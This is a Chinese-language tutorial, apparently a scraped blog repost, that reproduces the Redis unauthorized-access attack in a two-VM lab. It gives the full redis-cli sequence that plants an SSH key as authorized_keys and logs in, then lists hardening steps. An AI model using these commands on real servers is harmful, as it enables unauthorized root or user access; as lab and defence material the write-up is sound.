Redis未受權訪問漏洞的利用及防禦

Redis未受權訪問漏洞的利用及防禦

什麼是Redis未受權訪問漏洞?

Redis在默認狀況下,會綁定在0.0.0.0:6379。若是沒有采起相關的安全策略,好比添加防火牆規則、避免其餘非信任來源IP訪問等,這樣會使Redis服務徹底暴露在公網上。若是在沒有設置密碼認證(通常爲空)的狀況下,會致使任意用戶在訪問目標服務器時,能夠在未受權的狀況下訪問Redis以及讀取Redis的數據。攻擊者在未受權訪問Redis的狀況下,利用Redis自身的提供的config命令,能夠進行文件的讀寫等操做。攻擊者能夠成功地將本身的ssh公鑰寫入到目標服務器的 /root/.ssh文件夾下的authotrized_keys文件中,進而可使用對應地私鑰直接使用ssh服務登陸目標服務器。python

簡單來說,咱們能夠將漏洞的產生歸結爲兩點:linux

  • redis綁定在 0.0.0.0:6379,且沒有進行添加防火牆規則、避免其餘非信任來源IP訪問等相關安全策略,直接暴露在公網上redis

  • 沒有設置密碼認證(通常爲空),能夠免密碼遠程登陸redis服務ubuntu

5b87cbaa3bab4

漏洞可能產生的危害:vim

  • 攻擊者無需認證訪問到內部數據,可能致使敏感信息泄露,黑客也能夠經過惡意執行flushall來清空全部數據安全

  • 攻擊者可經過EVAL執行lua代碼,或經過數據備份功能往磁盤寫入後門文件服務器

  • 若是Redis以root身份運行,黑客能夠給root帳戶寫入SSH公鑰文件,直接經過SSH登陸受害者服務器ssh

既然咱們已經知道了攻擊手法,那麼咱們該如何實現這一漏洞的利用呢?測試

Redis未受權訪問漏洞的利用

環境準備

  • 兩臺主機(這裏我選擇的是兩臺虛擬機,一臺用的是Ubuntu,一臺用的是Kali Linux)ui

  • redis-3.2.11.tar.gz

1、 安裝redis服務

1. 從官網下載redis源碼的壓縮包
wget http://download.redis.io/releases/redis-3.2.11.tar.gz

5b8744851889e

2. 下載完成後,解壓壓縮包
tar xzf redis-3.2.11.tar.gz
3. 而後進入解壓後的目錄:cd redis-3.2.11,輸入make並執行

5b8745177c2fb

出現以下即編譯成功:

5b87459215975

4. make結束後,進入src目錄:cd src,將redis-server和redis-cli拷貝到/usr/bin目錄下(這樣啓動redis-server和redis-cli就不用每次都進入安裝目錄了)

5b877e8e8e4bc

你可能會碰到以下問題:

python@ubuntu:~/Desktop/redis-3.2.11/src$ sudo cp redis-server /usr/bin/
cp: 沒法建立普通文件'/usr/bin/redis-server': 文本文件忙

這個時候你先去檢查/usr/bin目錄下是否已經存在redis-server,若是不存在的話,咱們選擇中止服務:

python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-cli -h 127.0.0.1 -p 6379 shutdown

或者直接殺死進程就行了:

python@ubuntu:~/Desktop/redis-3.2.11/src$ sudo kill -9 PID

5b878010608fd

咱們再啓動服務就行了~

python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-server

5b8780b575659

此時咱們再檢查下/usr/bin目錄下是否有redis-cli和redis-server:

python@ubuntu:~$ ls /usr/bin | grep redis

5b8782171b864

5. 返回目錄redis-3.2.11,將redis.conf拷貝到/etc/目錄下
python@ubuntu:~/Desktop/redis-3.2.11$ sudo cp redis.conf /etc/

5b878381b8c69

6. 編輯etc中的redis配置文件redis.conf
python@ubuntu:~/Desktop/redis-3.2.11$ vim /etc/redis.conf

去掉ip綁定,容許除本地外的主機遠程登陸redis服務:

5b878523a62c3

關閉保護模式,容許遠程鏈接redis服務:

5b878644a500e

7. 使用/etc/目錄下的redis.conf文件中的配置啓動redis服務
root@kali:~/桌面/redis-3.2.11# redis-server /etc/redis.conf

5b878be47e049

這裏我又踩了一個大坑,我遇到了這樣一個問題:

python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-server /etc/redis.conf 

*** FATAL CONFIG FILE ERROR ***
Reading the configuration file, at line 80
>>> 'protected-mode no'
Bad directive or wrong number of arguments

5b878c9991866

這個問題困擾了我好久,後面驚奇的發現,是由於redis.conf和當前版本的redis不匹配形成的問題,當前Ubuntu的Redis版本是3.0.6,而redis.conf的版本是3.2.11,後面才知道是由於我Ubuntu裏面已經裝過Redis形成的,解決方法以下:

卸載老版本redis-server:

sudo apt-get remove redis-server

因爲以前已經下載了redis-3.2.11的版本,因此咱們直接make就行了,照着上面的步驟從新來一遍就OK了。

5b878fefa9136

咱們能夠看到,版本對應上去了,都是3.2.11,也可以完成reids.conf文件中的配置啓動redis服務。

2、安裝ssh服務

因爲Ubuntu和Kali Linux已經安裝有ssh服務,但默認沒有啓動,需使用systemctl start sshd命令啓動ssh服務。

那麼咱們該怎麼肯定有沒有安裝ssh服務呢?你嘗試一下service sshd start命令:

fauked to start sshd.service: Unit sshd.service not found

若是出現上述結果時,說明你的虛擬機沒有安裝ssh服務,此時你須要運行如下命令安裝ssh服務:

sudo apt-get install openssh-server

再次運行如下命令確認ssh服務是否開啓:

ps -e  | ssh
最後顯示:3228 ? 00:00:00 sshd說明ssh服務器已啓用

咱們讓這兩臺虛擬主機配置相同的Redis環境,一臺做爲受害者的靶機,一臺做爲攻擊者的主機。

至此,咱們已經成功搭建完成了漏洞利用的環境,此時的redis服務是能夠以root用戶身份遠程免密碼登陸的。

3、復現漏洞利用場景

1. 咱們先經過ifconfig測試一下兩臺主機的IP地址

5b8793a90235c

咱們能夠看到,Ubuntu的IP地址是192.168.152.133,Kali Linux的IP地址是192.168.152.131,因此咱們不須要修改任何東西,但若是IP地址相同,咱們修改其中一臺虛擬機的IP:

ifconfig 網卡名稱(好比ens33) 咱們要修改爲的IP地址(好比192.168.152.135) up

咱們必須保證兩臺主機可以相互ping通

5b87ad2906b04

2. 咱們假設,Ubuntu爲虛擬機A,Kali Linux爲虛擬機B。虛擬機A(192.168.152.133)爲受害者的主機,虛擬機B(192.168.152.131)爲攻擊者的主機
3. 在A中開啓redis服務:redis-server /etc/redis.conf
4. 新開一個終端,在主機A中執行mkdir /root/.ssh命令,建立ssh公鑰存放目錄(A是做爲ssh服務器使用的)
5. 在B中生成ssh公鑰和私鑰,密碼設置爲空

5b87982e1b75d

6. 進入.ssh目錄:cd .ssh/,將生成的公鑰保存到kitty.txt
root@kali:~/.ssh# (echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > kitty.txt
7. 將kitty.txt寫入redis(使用redis-cli -h IP命令鏈接主機A,將文件寫入)
root@kali:~/.ssh# cat kitty.txt | redis-cli -h 192.168.152.133 -x set crack
OK

5b87b4a9ba400

8. 遠程登陸主機A的redis服務:redis-cli -h 192.168.0.146並使用config get dir命令獲得redis備份的路徑
root@kali:~/.ssh# redis-cli -h 192.168.152.133
192.168.152.133:6379> config get dir
1) "dir"
2) "/home/python/.ssh"

5b87b57dee22a

9. 更改redis備份路徑爲ssh公鑰存放目錄(通常默認爲/root/.ssh,這裏我沒有登陸root用戶,我登陸的用戶名是python,因此Ubuntu的默認路徑是/home/python/.ssh,因此不須要更改)
10. 設置上傳公鑰的備份文件名字爲authorized_keys
192.168.152.133:6379> config set dbfilename authorized_keys
OK
11. 檢查是否更改爲功(查看有沒有authorized_keys文件),沒有問題就保存而後退出,至此,咱們成功地寫入ssh公鑰到靶機上
192.168.152.133:6379> config get dbfilename
1) "dbfilename"
2) "authorized_keys"
192.168.152.133:6379> save
OK
192.168.152.133:6379> exit
12. 開啓主機A和主機B的ssh服務(Fedor默認ssh服務關閉),命令爲systemctl start sshd.service

5b87b6ba736fe

13. 在主機B使用ssh免密登陸主機A
root@kali:~/.ssh# ssh -i id_rsa python@192.168.152.133

5b87b6ef00a6a

很明顯,咱們已經登陸成功了!至此,咱們成功地利用redis未受權訪問漏洞實現了ssh免密登陸到目標服務器上。

Redis未受權訪問漏洞的防禦

禁止遠程使用一些高危命令

咱們能夠經過修改redis.conf文件來禁用遠程修改DB文件地址

rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL     ""

低權限運行Redis服務

爲Redis服務建立單獨的userhome目錄,而且配置禁止登錄

groupadd -r redis && useradd -r -g redis redis

爲Redis添加密碼驗證

咱們能夠經過修改redis.conf文件來爲Redis添加密碼驗證

requirepass mypassword

禁止外網訪問 Redis

咱們能夠經過修改redis.conf文件來使得Redis服務只在當前主機可用

bind 127.0.0.1

保證authorized_keys文件的安全

爲了保證安全,您應該阻止其餘用戶添加新的公鑰。將authorized_keys的權限設置爲對擁有者只讀,其餘用戶沒有任何權限

chmod 400 ~/.ssh/authorized_keys

爲保證authorized_keys的權限不會被改掉,您還須要設置該文件的immutable位權限

chattr +i ~/.ssh/authorized_keys

然而,用戶還能夠重命名~/.ssh,而後新建新的~/.ssh目錄和authorized_keys文件。要避免這種狀況,須要設置~./ssh的immutable位權限

chattr +i ~/.ssh

若是須要添加新的公鑰,須要移除authorized_keys的 immutable 位權限。而後,添加好新的公鑰以後,按照上述步驟從新加上immutable位權限

相關文章
相關標籤/搜索